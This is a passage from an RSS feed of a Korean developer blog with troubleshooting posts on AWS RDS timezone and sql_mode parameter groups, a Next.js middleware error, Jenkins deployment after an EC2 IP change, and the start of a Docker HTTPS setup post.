&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1865&quot; data-origin-height=&quot;830&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/NXH63/btsk266vQNT/YeRXlhJVZ2UH7wg0B4b7rk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/NXH63/btsk266vQNT/YeRXlhJVZ2UH7wg0B4b7rk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/NXH63/btsk266vQNT/YeRXlhJVZ2UH7wg0B4b7rk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FNXH63%2Fbtsk266vQNT%2FYeRXlhJVZ2UH7wg0B4b7rk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1865&quot; height=&quot;830&quot; data-origin-width=&quot;1865&quot; data-origin-height=&quot;830&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지금이야 이미 추가해놔서 저렇게 보이는데&amp;nbsp;&lt;br /&gt;이름, 값, 허용된 값 등등 이렇게 쭉 나오고있는데 나는 &quot;값&quot; 부분이 그냥 비워져있었다&lt;br /&gt;&lt;br /&gt;그래서 &quot;파라미터 편집&quot; 에서 Asia/Seoul 로 선택하고 저장을 해주었다.&lt;br /&gt;&lt;br /&gt;이러면 끝인데, DB 인스턴스를 재시작 해줘야한다.&lt;br /&gt;&lt;br /&gt;RDS 에서 지금 testDB 랑 real DB 인스턴스 두개가 현재 구동중에 있는데 , real 은 당연히 평일에 재시작 하긴 어렵고 주말에나 생각하고&amp;nbsp;&lt;br /&gt;testDB 부터 재시작을 바로 했는데 신기하게도 real 쪽 시간도 Asia/Seoul 에 맞게 조정이 되있었다 ;&lt;br /&gt;&lt;br /&gt;왜이런건지는 모르겠다..&lt;/p&gt;</description>
      <category>IT/AWS</category>
      <category>aws db timezone</category>
      <category>AWS RDS</category>
      <category>aws timezone</category>
      <category>rds timezone</category>
      <category>time_zone 변경</category>
      <author>월공</author>
      <guid isPermaLink="true">https://bug41.tistory.com/200</guid>
      <comments>https://bug41.tistory.com/entry/AWS-RDS-timezone-%EC%84%A4%EC%A0%95%ED%95%98%EB%8A%94-%EB%B0%A9%EB%B2%95-Feat-%ED%8C%8C%EB%9D%BC%EB%AF%B8%ED%84%B0-%EA%B7%B8%EB%A3%B9#entry200comment</comments>
      <pubDate>Fri, 23 Jun 2023 08:35:55 +0900</pubDate>
    </item>
    <item>
      <title>[AWS] RDS mariaDB 인스턴스 복사 후 이상 증상 해결 방법 (INSERT 문제)</title>
      <link>https://bug41.tistory.com/entry/AWS-RDS-mariaDB-%EC%9D%B8%EC%8A%A4%ED%84%B4%EC%8A%A4-%EB%B3%B5%EC%82%AC-%ED%9B%84-%EC%9D%B4%EC%83%81-%EC%A6%9D%EC%83%81-%ED%95%B4%EA%B2%B0-%EB%B0%A9%EB%B2%95-INSERT-%EB%AC%B8%EC%A0%9C</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;RDS 인스턴스 복사후 이상증상은 아주 여러가지가 있을 수 있지만 내 경우엔 INSERT 가 제대로 되지않는 문제가 있었다.&lt;br /&gt;&lt;s&gt;결국 RDS 파라미터 그룹 문제였다.&lt;/s&gt;&lt;br /&gt;왜 이런일이 발생하였는지 , 원인 및 분석한 부분을 쭉 포스팅 하려고한다.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;현재 내가 관리하는 AWS RDS 에 두개의 DB 인스턴스가 가동중에 있다.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;1. 실 DB&lt;/b&gt;&lt;br /&gt;&lt;b&gt;2. 테스트 DB&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;실DB랑 테스트 DB랑 서로 데이터 갭 차이가 너무 많이나서 동기화를 하고자하였다.&lt;br /&gt;1 번의 스냅샷을 2번으로 덮어씌우고싶었으나 , 덮어씌우는 방법은 안되는듯하고&lt;br /&gt;1번의 스냅샷을 &lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;테스트 DB_1&lt;/b&gt;&lt;/span&gt; 라고 인스턴스 명을 겹치지않게 조정하여 진행하였고&lt;br /&gt;기존에 있던 2 번을 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;테스트 DB_2&lt;/b&gt;&lt;/span&gt; 로 바꾸고, 방금 만들어진 &lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;테스트 DB_1&lt;/b&gt;&lt;/span&gt; 를 다시 &lt;b&gt;테스트 DB&lt;/b&gt; 로 바꿔서 굳이 개발환경에&lt;br /&gt;DB 호스트를 바꾸지않아도 되게끔 하였다 (이렇게 해도 되는건진 모르겠음 .. 일단 문제는 없더라)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제는 복사하고나서, 발생하였다&lt;br /&gt;&lt;b&gt;DB 연결에는 이상이 없었으나 INSERT 가 제대로 되지않는 문제가 발생&lt;/b&gt;&lt;br /&gt;아래와 같은 에러를 계속 내뱉었다.&lt;/p&gt;
&lt;pre id=&quot;code_1686666097374&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;doesn't have a default value&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;당연히 스냅샷을 그대로 복원한거라 그대로 복사될거라 생각했는데 순간 당황하였다.&lt;br /&gt;해당 에러를 살펴보니 값이 없다는뜻이어서 빈값으로라도 넣어줘야하나 하고 생각했는데 순간 이상하다는 생각이 들었다.&lt;br /&gt;&lt;b&gt;실DB 에서는 NULL 허용이 되지않는 컬럼에 값이 없다고 튕기지 않는데 &lt;/b&gt;복사한 테스트DB 에서는 에러를 내뱉는게 이해가 가지않았다.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;DB 설정이 다르구나 ! 라고 생각이 들었고 &lt;/span&gt;검색 해본 결과 NULL 허용이 되지않는 컬럼이 있어도 값이 없으면 공백으로 들어가게 해주는 옵션이 있다는걸 알게됐다&lt;br /&gt;바로 'sql_mode' 라는 녀석&lt;br /&gt;&lt;br /&gt;아래 명령어로 확인이 가능하다.&lt;/p&gt;
&lt;pre id=&quot;code_1686666511980&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;SELECT @@sql_mode;&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1686666537849&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#복제한 db 옵션
sql_mode : NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_ENGINE_SUBSTITUTION

#실서버 db 옵션
sql_mode : STRICT_TRANS_TABLES,ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;위 처럼 달랐고, 테스트 DB 에서도 sql_mode 를 변경하고자 root 계정으로 들어가서 설정을 바꿔보려고 온갖 생쇼를 했는데 이게 잘 안됐다.&lt;br /&gt;SUPER 권한이 없어서 안된다더니, SUPER 권한을 가져올라해도 권한이 없다고 안됐다.&lt;br /&gt;아니 root 한테 권한이 없으면 누구한테 있어 ..? 라는 생각을 했는데&amp;nbsp;&lt;br /&gt;&lt;br /&gt;생각해보니 AWS RDS 라는것을 다시금 깨달았고, LightSail에서의 방화벽 설정을 aws 웹사이트에서 하듯이&lt;br /&gt;RDS 의 설정도 aws 웹에서 조정하는거 아닐까 하고 찾아봤더니 역시나 ...&amp;nbsp;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Amazon RDS - 파라미터 그룹 &lt;/b&gt;에서 편집이 가능하다는것을 알게되었고,&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1901&quot; data-origin-height=&quot;608&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/w7mhk/btsjS5HsCTs/lJbPT4FVatdGjxl2TbC3ZK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/w7mhk/btsjS5HsCTs/lJbPT4FVatdGjxl2TbC3ZK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/w7mhk/btsjS5HsCTs/lJbPT4FVatdGjxl2TbC3ZK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fw7mhk%2FbtsjS5HsCTs%2FlJbPT4FVatdGjxl2TbC3ZK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1901&quot; height=&quot;608&quot; data-origin-width=&quot;1901&quot; data-origin-height=&quot;608&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;애초에 스냅샷을 복원하고나서 인스턴스 수정창에 진입하여&amp;nbsp;&lt;b&gt;'DB 파라미터 그룹'&lt;/b&gt;&amp;nbsp; 을 실DB가 쓰고있는 그룹으로 조정해줬으면 진즉에 깔끔하게 끝났을 일이었다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;766&quot; data-origin-height=&quot;289&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/O6gwc/btsjPKqMFbQ/APhiWK3aKEnxKPZPPSSg6K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/O6gwc/btsjPKqMFbQ/APhiWK3aKEnxKPZPPSSg6K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/O6gwc/btsjPKqMFbQ/APhiWK3aKEnxKPZPPSSg6K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FO6gwc%2FbtsjPKqMFbQ%2FAPhiWK3aKEnxKPZPPSSg6K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;766&quot; height=&quot;289&quot; data-origin-width=&quot;766&quot; data-origin-height=&quot;289&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;역시 무식하면 손발이 고생한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여튼 이렇게 파라미터 그룹을 조정해주고나서&amp;nbsp; DB 인스턴스 재부팅은 필수,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;재부팅하고나서 정상적으로 값이 INSERT 되는것을 확인 할 수 있었다.&lt;br /&gt;&lt;br /&gt;약간의 삽질로 인하여 AWS 에 대해서 또 하나 알아가는 날이었다..&lt;/p&gt;</description>
      <category>IT/AWS</category>
      <category>AWS</category>
      <category>AWS RDS</category>
      <category>mariadb</category>
      <category>RDS</category>
      <category>스냅샷</category>
      <category>스냅샷복원</category>
      <category>인스턴스복사</category>
      <category>파라미터그룹</category>
      <author>월공</author>
      <guid isPermaLink="true">https://bug41.tistory.com/199</guid>
      <comments>https://bug41.tistory.com/entry/AWS-RDS-mariaDB-%EC%9D%B8%EC%8A%A4%ED%84%B4%EC%8A%A4-%EB%B3%B5%EC%82%AC-%ED%9B%84-%EC%9D%B4%EC%83%81-%EC%A6%9D%EC%83%81-%ED%95%B4%EA%B2%B0-%EB%B0%A9%EB%B2%95-INSERT-%EB%AC%B8%EC%A0%9C#entry199comment</comments>
      <pubDate>Tue, 13 Jun 2023 23:40:32 +0900</pubDate>
    </item>
    <item>
      <title>[Next.js] middleware.ts 추가시 에러났을때 해결 방법</title>
      <link>https://bug41.tistory.com/entry/Nextjs-middlewarets-%EC%B6%94%EA%B0%80%EC%8B%9C-%EC%97%90%EB%9F%AC%EB%82%AC%EC%9D%84%EB%95%8C-%ED%95%B4%EA%B2%B0-%EB%B0%A9%EB%B2%95</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;Next.js 에서 middleware.ts 파일을 추가하였는데 아래와 같은 에러가 발생&lt;/p&gt;
&lt;pre id=&quot;code_1685576059804&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;Module parse failed: Identifier 'NextResponse' has already been declared&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위치는 그냥 / 에 넣어둠&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;267&quot; data-origin-height=&quot;490&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lewEl/btsiadh4fXZ/XFnCMubHnahSvMEzzzvLu1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lewEl/btsiadh4fXZ/XFnCMubHnahSvMEzzzvLu1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lewEl/btsiadh4fXZ/XFnCMubHnahSvMEzzzvLu1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlewEl%2Fbtsiadh4fXZ%2FXFnCMubHnahSvMEzzzvLu1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;267&quot; height=&quot;490&quot; data-origin-width=&quot;267&quot; data-origin-height=&quot;490&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style2&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;api 폴더에도 넣어보고 별의별 난리를 다 쳐봤으나 절대 안됌&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;chatGPT 에 물어봐도 자꾸 api 폴더에 넣으라는 뚱딴지 같은 소리만 하고있음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결론은 Next 버전 다운그레이드 하고 해결.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. node_modules 폴더 삭제&lt;br /&gt;2. package.json 에 있는 next 13.4.3 으로 변경 (기존에 13.4.4 였음)&lt;br /&gt;3. 다시 npm install&lt;br /&gt;&lt;br /&gt;이렇게 하니 정상적으로 잘 작동 되는것 확인하였다.&lt;/p&gt;</description>
      <category>IT/React.js</category>
      <category>middleware 에러</category>
      <category>middleware.js</category>
      <category>middleware.ts</category>
      <category>Next</category>
      <category>NextJS</category>
      <category>nextjs middleware</category>
      <author>월공</author>
      <guid isPermaLink="true">https://bug41.tistory.com/198</guid>
      <comments>https://bug41.tistory.com/entry/Nextjs-middlewarets-%EC%B6%94%EA%B0%80%EC%8B%9C-%EC%97%90%EB%9F%AC%EB%82%AC%EC%9D%84%EB%95%8C-%ED%95%B4%EA%B2%B0-%EB%B0%A9%EB%B2%95#entry198comment</comments>
      <pubDate>Thu, 1 Jun 2023 08:37:18 +0900</pubDate>
    </item>
    <item>
      <title>[Jenkins] 기존 등록된 서버 IP 변경시 배포 오류 해결방법</title>
      <link>https://bug41.tistory.com/entry/Jenkins-%EA%B8%B0%EC%A1%B4-%EB%93%B1%EB%A1%9D%EB%90%9C-%EC%84%9C%EB%B2%84-IP-%EB%B3%80%EA%B2%BD%EC%8B%9C-%EB%B0%B0%ED%8F%AC-%EC%98%A4%EB%A5%98-%ED%95%B4%EA%B2%B0%EB%B0%A9%EB%B2%95</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;AWS 인스턴스 사양을 업그레이드 하면서 IP 주소가 바뀌어버려가지고 , 기존에 젠킨스에 자동배포 잘되던게 정상적으로 되지않는 문제가 발생하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;탄력적 IP 로 고정 되있을줄 알았는데 제대로 확인하지 않은 탓이다.&lt;br /&gt;실서비스중인 AWS EC2 인스턴스가 3개가 있는데 하나만 탄력 IP 로 등록되있고 나머지 2개는 안되있더라 -_- ;;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;젠킨스의 Console Output 중 발췌&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1409&quot; data-origin-height=&quot;370&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bGGit1/btsgCGsaWyi/ksGUYccicsvKdRiG9Squb1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bGGit1/btsgCGsaWyi/ksGUYccicsvKdRiG9Squb1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bGGit1/btsgCGsaWyi/ksGUYccicsvKdRiG9Squb1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbGGit1%2FbtsgCGsaWyi%2FksGUYccicsvKdRiG9Squb1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1409&quot; height=&quot;370&quot; data-origin-width=&quot;1409&quot; data-origin-height=&quot;370&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2 대의 서버에선 정상적으로 처리가 되었는데 , 나머지 1대에서 배포에 문제가 생겨 UNSTABLE 이 발생&lt;br /&gt;바뀐 IP 로 바꿔주자&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Jenkins &amp;gt; Dashboard &amp;gt; Jenkins 관리 &amp;gt; Configure System 에 진입해서 아래로 쭈욱 내리면 내 젠킨스를 이용하여 배포하는 서버들 ssh 정보들이 쭈욱 있는데 거기서 바뀐 IP 주소대로 바꿔줘야한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;956&quot; data-origin-height=&quot;494&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/t04FW/btsgDikmzaF/3nDqGRJ5RusK0zgKCzocb1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/t04FW/btsgDikmzaF/3nDqGRJ5RusK0zgKCzocb1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/t04FW/btsgDikmzaF/3nDqGRJ5RusK0zgKCzocb1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Ft04FW%2FbtsgDikmzaF%2F3nDqGRJ5RusK0zgKCzocb1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;956&quot; height=&quot;494&quot; data-origin-width=&quot;956&quot; data-origin-height=&quot;494&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Hostname 변경후 &quot;Test Configuration&quot; 정상적으로 Success 뜨는것 확인하고 저장&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1253&quot; data-origin-height=&quot;487&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qmyFM/btsgB3hboTE/yp8xZLNTWKgGfXWHrGp9A1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qmyFM/btsgB3hboTE/yp8xZLNTWKgGfXWHrGp9A1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qmyFM/btsgB3hboTE/yp8xZLNTWKgGfXWHrGp9A1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqmyFM%2FbtsgB3hboTE%2Fyp8xZLNTWKgGfXWHrGp9A1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1253&quot; height=&quot;487&quot; data-origin-width=&quot;1253&quot; data-origin-height=&quot;487&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;젠킨스 쪽에서의 설정은 끝났고 이제 마지막으로 젠킨스 서버상에서 바뀐 IP 의 방화벽을 추가해줘야한다.&lt;br /&gt;이유는 모르겠지만 현재 젠킨스가 Lightsail 에서 구동중이어서 방화벽은 쉽게 추가할수 있었다&lt;br /&gt;(Lightsail 재시작 할 필요없음)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1361&quot; data-origin-height=&quot;937&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/re0jv/btsgFvvWfzf/nKGhl4uUaGgxxY82RY29ik/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/re0jv/btsgFvvWfzf/nKGhl4uUaGgxxY82RY29ik/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/re0jv/btsgFvvWfzf/nKGhl4uUaGgxxY82RY29ik/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fre0jv%2FbtsgFvvWfzf%2FnKGhl4uUaGgxxY82RY29ik%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1361&quot; height=&quot;937&quot; data-origin-width=&quot;1361&quot; data-origin-height=&quot;937&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 해주니 이제 더이상 배포를 진행할때 UNSTABLE이 뜨지않는것이 확인되었다~!&lt;/p&gt;</description>
      <category>IT/잡다구리</category>
      <category>AWS</category>
      <category>EC2</category>
      <category>Lightsail</category>
      <category>젠킨스</category>
      <category>젠킨스ip변경</category>
      <category>젠킨스ip추가</category>
      <author>월공</author>
      <guid isPermaLink="true">https://bug41.tistory.com/197</guid>
      <comments>https://bug41.tistory.com/entry/Jenkins-%EA%B8%B0%EC%A1%B4-%EB%93%B1%EB%A1%9D%EB%90%9C-%EC%84%9C%EB%B2%84-IP-%EB%B3%80%EA%B2%BD%EC%8B%9C-%EB%B0%B0%ED%8F%AC-%EC%98%A4%EB%A5%98-%ED%95%B4%EA%B2%B0%EB%B0%A9%EB%B2%95#entry197comment</comments>
      <pubDate>Fri, 19 May 2023 23:09:59 +0900</pubDate>
    </item>
    <item>
      <title>[Docker] apache-php 컨테이너에서 https 연결하기 feat.Let's Encrypt</title>
      <link>https://bug41.tistory.com/entry/Docker-apache-php-%EC%BB%A8%ED%85%8C%EC%9D%B4%EB%84%88%EC%97%90%EC%84%9C-https-%EC%97%B0%EA%B2%B0%ED%95%98%EA%B8%B0-featLets-Encrypt</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;환경 : 호스트 Centos 7 , Docker 컨테이너 (apache-php) , let's encrypt (SSL)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;let's encrypt 설치는 이미 잘 정리되어있는 블로그 글들이 많아서 굳이 기재하지 않겠습니다.&lt;br /&gt;제가 포스팅했던 적도 있어서 링크만 걸어놓을게요&lt;br /&gt;제목은 centos8 이라 되있지만 7에서도 잘됩니다.&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;https://bug41.tistory.com/entry/SSL-Lets-Encrypt-SSL-%EC%9D%B8%EC%A6%9D%EC%84%9C-%EC%84%A4%EC%B9%98-Centos8-crontab&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://bug41.tistory.com/entry/SSL-Lets-Encrypt-SSL-%EC%9D%B8%EC%A6%9D%EC%84%9C-%EC%84%A4%EC%B9%98-Centos8-crontab&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1680871458839&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;[SSL] Let's Encrypt SSL 인증서 설치 Centos8 , crontab&quot; data-og-description=&quot;센토스8 에서 홈페이지 https 를 위한 Let's Encrypt 설치 방법 간단하게 포스팅합니다. Let's Encrypt 설치 sudo dnf install epel-release 혹시 아래처럼 오류 뜨면서 안되면 Failed to set locale, defaulting to C.UTF-8 CentO&quot; data-og-host=&quot;bug41.tistory.com&quot; data-og-source-url=&quot;https://bug41.tistory.com/entry/SSL-Lets-Encrypt-SSL-%EC%9D%B8%EC%A6%9D%EC%84%9C-%EC%84%A4%EC%B9%98-Centos8-crontab&quot; data-og-url=&quot;https://bug41.tistory.com/entry/SSL-Lets-Encrypt-SSL-%EC%9D%B8%EC%A6%9D%EC%84%9C-%EC%84%A4%EC%B9%98-Centos8-crontab&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/s3VF5/hySctoydLx/TQWJCkJ5w6AuBRbk1Qdro0/img.png?width=800&amp;amp;height=370&amp;amp;face=0_0_800_370,https://scrap.kakaocdn.net/dn/bPkXBo/hyScypJMWr/sHtQZmdH0Wf81EnTwkzrFk/img.png?width=800&amp;amp;height=370&amp;amp;face=0_0_800_370,https://scrap.kakaocdn.net/dn/JLdmX/hyScFvEelV/1Ub7kxUrwFxfANKfsWxWG0/img.png?width=1750&amp;amp;height=342&amp;amp;face=0_0_1750_342&quot;&gt;&lt;a href=&quot;https://bug41.tistory.com/entry/SSL-Lets-Encrypt-SSL-%EC%9D%B8%EC%A6%9D%EC%84%9C-%EC%84%A4%EC%B9%98-Centos8-crontab&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://bug41.tistory.com/entry/SSL-Lets-Encrypt-SSL-%EC%9D%B8%EC%A6%9D%EC%84%9C-%EC%84%A4%EC%B9%98-Centos8-crontab&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/s3VF5/hySctoydLx/TQWJCkJ5w6AuBRbk1Qdro0/img.png?width=800&amp;amp;height=370&amp;amp;face=0_0_800_370,https://scrap.kakaocdn.net/dn/bPkXBo/hyScypJMWr/sHtQZmdH0Wf81EnTwkzrFk/img.png?width=800&amp;amp;height=370&amp;amp;face=0_0_800_370,https://scrap.kakaocdn.net/dn/JLdmX/hyScFvEelV/1Ub7kxUrwFxfANKfsWxWG0/img.png?width=1750&amp;amp;height=342&amp;amp;face=0_0_1750_342');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;[SSL] Let's Encrypt SSL 인증서 설치 Centos8 , crontab&lt;/p&gt;
